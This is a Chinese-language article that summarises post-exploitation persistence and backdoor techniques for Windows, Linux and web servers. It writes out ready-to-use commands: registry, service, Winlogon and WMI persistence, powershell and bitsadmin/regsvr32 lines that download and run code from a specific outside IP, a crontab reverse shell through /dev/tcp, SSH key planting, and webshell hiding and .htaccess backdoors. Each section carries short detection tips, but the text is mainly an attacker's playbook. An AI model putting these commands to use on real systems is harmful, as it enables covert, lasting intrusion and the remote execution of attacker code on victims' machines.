權限維持及后門持久化技巧總結


一、前言

在攻擊者利用漏洞獲取到某台機器的控制權限之后,會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,從而隨時可以連接該被控機器進行深入滲透。本文從Windows持久化,Linux持久化和Web持久化對現有技術進行了總結,對於持久化的攻擊形式,主要是靠edr、av等終端產品進行檢測。

二、Windows后門

2.1輔助功能鏡像劫持

為了使電腦更易於使用和訪問,Windows 添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特征,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。

一些常見的輔助功能如:

C:\Windows\System32\sethc.exe    粘滯鍵    快捷鍵:按五次 shift 鍵

C:\Windows\System32\utilman.exe     設置中心   快捷鍵:Windows+U 鍵

C:\Windows\System32\osk.exe        屏幕鍵盤

C:\Windows\System32\Magnify.exe    放大鏡      快捷鍵:Windows+加減號

在較早的 Windows 版本,只需要進行簡單的二進制文件替換,比如經典的shift后門是將C:\Windows\System32\ sethc.exe替換為cmd.exe。對於在 Windows Vista 和 Windows Server 2008 及更高的版本中,替換的二進制文件受到了系統的保護,因此這里就需要另一項技術:映像劫持。

映像劫持,也被稱為「IFEO」(Image File Execution Options), 是Windows內設的用來調試程序的功能,Windows注冊表中存在映像劫持子鍵(Image File Execution Options)。

當我們雙擊運行程序時,系統會查詢該IFEO注冊表,如果發現存在和該程序名稱完全相同的子鍵,就查詢對應子健中包含的“dubugger”鍵值名,如果該參數不為空,系統則會把 Debugger 參數里指定的程序文件名作為用戶試圖啟動的程序執行請求來處理。這樣成功執行的是遭到“劫持”的虛假程序。

具體實現最簡單的操作就是修改注冊表,

以設置中心utilman.exe為例:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option中添加 utilman.exe 項,在此項中添加 debugger 鍵,鍵值為要啟動的程序路徑。對應的cmd命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\utilman.exe" /tREG_SZ /v Debugger /d "C:\test.bat" /f

注冊表鍵值情況及啟動效果:

image.png

檢測及清除辦法:

檢查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option注冊表路徑中的程序名稱及鍵值。

2.2啟動項/服務后門

2.2.1開始菜單啟動項

開始菜單啟動項,指示啟動文件夾的位置,具體的位置是“開始”菜單中的“所有程序”-“啟動”選項:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start   Menu\Programs\Startup

 

相關鍵值: 

 

 

 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LO CAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LO CAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders
 

 

 

 

 

 

 

 

 

image.png

 

 

 

 

在重新啟動后,該目錄的快捷方式或應用程序會在系統啟動的時候被執行:

 

 

 

 

image.png

 

 

 

 

檢測及清除辦法:檢查相關注冊表鍵值或使用autoruns。

 

 

 

 

2.2.2啟動項注冊表后門

 

 

 

 

最常見的在啟動項注冊表鍵值添加一個新的鍵值類型為REG_SZ,數據項中添寫需要運行程序的路徑即可以啟動,此類操作一些較為敏感容易被本地AV攔截,目前也是較為常見的一種方式。

 

 

 

 

啟動項鍵值路徑如下:

 

 

 

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run
 

 

 

 

 

 

使用命令:

 

 

 

 

 
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "Keyname" /t REG_SZ /d "C:\test.bat" /f

 

 

 

 

image.png重啟效果如下:

 

 

 

 

image.png檢測及清除辦法:

 

 

 

 

檢查相關注冊表鍵值或使用autoruns。

 

 

 

 

2.2.3自啟動服務后門

 

 

 

 

在 Windows上還有一個重要的機制,也就是服務。服務程序通常默默的運行在后台,且擁有 SYSTEM 權限,非常適合用於后門持久化。我們可以將 EXE /DLL等可執行文件注冊為服務實現后門持久化。

 

 

 

 

將exe木馬添加到自啟動服務中 

sc create "GoogleUpdated" binpath=   "C:\Users\Administrator\Desktop\test.exe" 

sc description "GoogleUpdated"   "description" 設置服務的描述字符串 

sc config "GoogleUpdated"   start= auto  設置這個服務為自動啟動 net start "GoogleUpdated"   啟動服務

 

 

 

 

 

 

 

 

將自己的惡意的可執行文件注冊成服務,cs中支持生成此類后門:

 

 

 

 

image.png

 

 

 

 

也可以嘗試配合使用powershell生成無文件的后門:

 

 

 

 

powershell.exe -nop -w hidden -c   \"IEX ((new-object 

net.webclient).downloadstring('http://186.64.5.115:80/a'))\"

 

 

 

 

 

 

 

 

刪除服務:

 

 

 

 

sc delete "GoogleUpdated"

 

 

 

 

 

 

 

 

檢測及清除辦法:

 

 

 

 

排查自啟動服務。

 

 

 

 

2.3系統計划任務后門

 

 

 

 

Windows實現定時任務主要有schtasks與at二種方式,通過計划任務

 

 

 

 

At 適用於windows xp/2003,Schtasks適用於win7/2008+

 

 

 

 

schtasks /create /sc minute /mo 5   /tn "chrome" /tr c:\test.bat

 

 

 

 

 

執行后計划任務成功創建:

 

 

 

 

image.png

 

 

 

 

也可以和bitsadmin聯動實現無文件后門:

 

 

 

 

"%WINDIR%\system32\bitsadmin.exe /resume \"chrome\""

 

 

 

 

 

 

 

 

檢測及清除辦法:

 

 

 

 

使用autoruns排查計划任務。

 

 

 

 

2.4DLL劫持

 

 

 

 

如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去指定的目錄下查找這個DLL;如果攻擊者能夠控制其中的某一個目錄,並且放一個惡意的DLL文件到這個目錄下,這個惡意的DLL便會被進程所加載,進而持久化控制。

 

 

 

 

由於 輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在 Windows系統目錄中查找,最后是在 環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的DLL,提供同樣的 輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前目錄下偽造的DLL,完成相關功能后,再跳到系統DLL同名函數里執行。這個過程用個形象的詞來描述就是系統DLL被劫持(hijack)了。

 

 

 

 

比較常用的如LPK.dll的劫持:

 

 

 

 

win7及win7以上系統增加了KnownDLLs保護,需要在如下注冊表下添加dll才能順利劫持:

 

 

 

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

 

 

 

 

 

image.png

 

 

 

 

構造劫持lpk.dll需要和原dll函數具有相同的導出表,在初始化函數中加入我們要執行的代碼,這樣調用時會執行插入的后門代碼。

 

 

 

 

2.5Winlogon用戶登錄初始化

 

 

 

 

Winlogon.exe 進程是 Windows 操作系統中非常重要的一部分,Winlogon 用於執行與 Windows 登錄過程相關的各種關鍵任務,例如,當在用戶登錄時,Winlogon 進程負責將用戶配置文件加載到注冊表中。

 

 

 

 

在注冊表項 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用於管理支持 Winlogon 的幫助程序和擴展功能,對這些注冊表項的惡意修改可能導致 Winlogon 加載和執行惡意 DLL 或可執行文件。

 

 

 

 

已知以下子項可能容易被惡意代碼所利用:

 

 

 

 

Winlogon\Userinit – 指向 userinit.exe,即用戶登錄時執行的用戶初始化程序。攻擊者可以利用這些功能重復執行惡意代碼建立持久后門,如下的代碼演示了如何通過在 Userinit 子鍵添加惡意程序路徑實現駐留系統的目的。

 

 

 

 

修改winlogon Userinit字段:

 

 

 

 

注冊表路徑:

 

 

 

 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

 

 

 

 

鍵值:Userinit

 

 

 

 

image.png

 

 

 

 

Powershell一鍵修改命令:

 

 

 

 

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,***************"

 

 

 

 

 

結合powershell,可以達到無文件后門效果:

 

 

 

 

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop   -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://186.64.5.115:80/a'))\""

 

 

檢查及清除:

 

檢查以下注冊表中的鍵值是否存在不明來歷的程序路徑HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

 

2.6Logon Scripts后門

 

Windows登錄腳本,當用戶登錄時觸發,Logon Scripts能夠優先於殺毒軟件執行,繞過殺毒軟件對敏感操作的攔截。

 

注冊表位置:

 

HKEY_CURRENT_USER\Environment\

 

 

創建字符串鍵值: UserInitMprLogonScript,鍵值設置為后門的絕對路徑:c:\test.bat

 

image.png系統重啟后觸發后門的執行:

 

image.png檢測及查殺:

 

查看對應注冊表鍵值,HKEY_CURRENT_USER\Environment\UserInitMprLogonScript

 

2.7劫持helper dll

 

netsh是windows系統本身提供的功能強大的網絡配置命令行工具

 

netsh add helper   c:\test\netshtest.dll

 

 

 

 

Helper.dll添加成功后,每次調用netsh,均會加載c:\test\netshtest.dll

 

image.png檢測及查殺

 

檢查注冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

 

或者通過Process Explorer查看netsh進程加載的dll

 

清除:

 

netsh delete helper c:\test\netshtest.dll

 

或者直接在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh刪除對應鍵值

 

2.8無文件執行

 

2.8.1WMI構造無文件后門

 

WMI(Windows管理工具)是微軟基於Web的企業管理(WBEM)的實現版本,這是一項行業計划,旨在開發用於訪問企業環境中管理信息的標准技術。

 

該類型后門主要用到了WMI展現出來的兩個特征:無文件和無進程。通過與Powershell命令配合使用可以實現無文件,具有良好的隱蔽性也是目前較為常用的持久化手段。

 

下面是比較典型的代碼,

 

每60秒會重復觸發事件,我們設定的命令會被執行:

 

$Name = 'test' # build the filter $TimeExecTime = 60 $Query = "SELECT * FROM __InstanceModificationEvent   WITHIN                           $TimeExecTime WHERE TargetInstance ISA   'Win32_PerfFormattedData_PerfOS_System'" $NS = "root\subscription" $FilterArgs = @{     Name=$Name       EventNameSpace="root\cimv2"       QueryLanguage="WQL"     Query=$Query } $Filter = Set-WmiInstance -Namespace $NS -Class   "__EventFilter" -Arguments $FilterArgs # build the consumer $ConsumerName = $Name $command = "`$wc = New-Object   System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT   6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy =   [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials =   [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX   (`$wc.DownloadString('http://186.64.5.115:80/a'))" #$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) $commandLine =   "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP   -NonI -w hidden -Command $command"    $ConsumerArgs = @{       Name=$ConsumerName       CommandLineTemplate=$commandLine } $consumer = Set-WmiInstance -Class   "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs #Bind filter and consumer $Args = @{    Filter =   $Filter    Consumer =   $consumer } Set-WmiInstance -Class   "__FilterToConsumerBinding" -Namespace "root\subscription"   -Arguments $Args

 

 

通過查看cs日志,可以看到上線記錄:

 

image.png 缺點:目前殺軟對powershell這類監管較嚴格,容易被發現

 

檢測及清除:

 

從WMI數據庫中刪除條目的最簡單方法,就是使用Autoruns。為此,我們不妨以管理員身份啟動Autoruns,並選擇WMI選項卡,這樣就可以查找與WMI相關的持久性后門了。

 

image.png

 

2.8.2Bitsadmin(windows 自帶用於創建上傳或下載任務)

 

bitsadmin.exe是windows自帶的可用於創建下載或上載作業並監視其進度,bistadmin可以指定下載成功之后要進行什么命令。

 

Bistadmin可以指定下載成功之后要進行什么命令。后門就是利用的下載成功之后進行命令執行。可繞過autorun、常見殺軟檢測。

 

如果任務未完成,支持在重新啟動計算機或重新建立網絡連接之后自動恢復文件傳輸。

bitsadmin /create   backdoor  # 創建任務 bitsadmin /addfile   backdoor %comspec% %temp%\cmd.exe  給任務test添加一個下載文件 bitsadmin.exe /SetNotifyCmdLine backdoor   "%COMSPEC%" "cmd.exe /c start /B C:\aa.exe"  //設置在任務完成傳輸時或任務進入狀態時將運行的命令行命令 bitsadmin /Resume   backdoor  # 激活執行任務

 

 

 

 

無文件不落地后門

bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe   "/u /s /i:http://186.64.5.115:80/aa scrobj.dll" bitsadmin /Resume backdoor

 

 

 

 

 

重啟計算機:

 

 

 

 

重啟計算機,發現彈出對話框,BITS 任務依然存在,如果我們想讓任務完成,可以執行bitsadmin /complete test

 

 

 

檢測及查殺:

 

 

 

 

使用bitsadmin列出所有任務

bitsadmin /list /allusers /verbose

 

 

 

2.9進程注入

 

 

 

 

准確來說進程注入不是后門技術或者權限維持技術,而是一種隱藏技術,以cobaltstrike為例,一般可以注入到像是lsass或者explorer這樣的進程當中,相對比較隱蔽,較難排查

 

 

 

 

image.png

 

 

 

 

進程注入排查:

 

 

 

 

使用工具process explorer 、process monitor等均可

 

 

 

 

image.png

 

 

 

 

三、Linux后門

 

 

 

 

3.1crontab計划任務后門

 

 

 

 

這相當於windows的計划任務,規定時間來執行指定命令。這通常與反彈shell一起運用,crontab格式 每隔60分鍾執行一次

 

 

 

 

(crontab -l;echo '*/60 * * * *   exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -

 

 

 

 

命令解釋:

 

echo '*/60 * * * *' #crontab格式 每隔60分鍾執行一次

exec 9<>/dev/tcp/127.0.0.1/8888

 

 

 

 

以讀寫方式打開/dev/tcp,並指定服務器名為:127.0.0.1(攻擊機) 端口號為:8888,指定描述符為9,要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的

            exec 0<&9;exec 1>&9 2>&1;

 

 

 

 

linux 三個基本文件描述符 0:stdin 1:stdout 2:stderr

 

 

 

 

n >&m 表示使文件描述符n成為描述符m的副本

 

 

 

 

exec 0<&9;   將fd9從定向到標准輸入;

 

 

 

 

exec 1>&9 2>&1;   將標准輸出從定向到文件fd9,將標准錯誤從定向到標准輸出.

 

 

 

 

簡單的理解為fd9=fd0  fd1=fd9 所以我的理解是,fd9從標准輸入讀入字符,處理后結果用標准輸出輸出.

            /bin/bash --noprofile -i

 

 

 

 

3.2SSH公鑰免密

 

 

 

 

將客戶端生成的ssh公鑰寫到所控服務器的~/.ssh/authorized_keys中,然后客戶端利用私鑰完成認證即可登錄。客戶端執行生成公鑰和私鑰:

ssh-keygen -t rsa

 

 

 

 

 

 

 

image.png

 

 

 

 

把id_rsa.pub寫入服務端的authorized_keys中,並修改好相應權限。

 

 

 

 

服務端:

 

 

 

 

cat id_dsa.pub >>   ~/.ssh/authorized_key
 

 

 

 

這種后門的特點是簡單易用,但在實戰中會被服務器的配置環境所限制,以及容易被發現。

 

 

 

 

3.3Rookit后門

 

 

 

 

3.3.1應用級rookit

 

 

 

 

應用級rookit的主要特點是通過批量替換系統命令來實現隱藏,如替換ls、ps和netstat等命令來隱藏文件、進程和網絡連接等,有時會有守護進程來保證后門的穩定性。推薦兩款常用的木馬:mafix和brookit。

 

 

 

 

3.4內核級rookit

 

 

 

 

隱藏性通常要借助對linux系統調用的截獲來達到目的,並且難以查殺,難以清除,危害巨大。

 

 

 

 

四、Web權限維持

 

 

 

 

通過對webshell的動靜態免殺繞過防護軟件,進行權限維持。通過修改webshell時間戳,放到不被管理員關注的一些深層目錄中,去除敏感shell函數特征,通過對shell流量雙向加密去避開常規waf檢測

 

 

 

 

4.1Webshell隱藏

 

 

 

 

使用windows自帶命令行工具attrib用來顯示或更改文件屬性。

 

 

 

 

attrib +r +s +h
 

 

 

 

image.png

 

 

 

 

4.2配置文件型后門

 

 

 

 

在.htaccess中添加php解析的新后綴並上傳,之后上傳該后綴的木馬即可。

 

 

 

 

 

AddType application/x-httpd-php .txt

 

 

 

 

image.png

 

 

 

 

image.png

 

 

 

 

4.3中間件后門

 

 

 

 

將編譯好的so文件添加到php.ini的extension中。當模塊被初始化時,會去加載執行我們的代碼。當發送特定參數的字符串過去時,即可觸發后門。

 

 

 

 

五、總結

 

 

 

 

本文從攻擊者視角總結了在獲取到服務器或主機權限后,維持權限的一些技巧,持久化主要是為了把攻陷的目標作為據點進一步深入滲透。由於水平有限,歡迎大家指出文中的錯誤和交流指教。

 

 

 

 

參考資料:

 

 

 

 

1.https://xz.aliyun.com/t/6822 持久化研究

2.https://github.com/klionsec/

3.http://cb.drops.wiki/wooyun/drops/tips-3003.html

4.http://www.freebuf.com


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM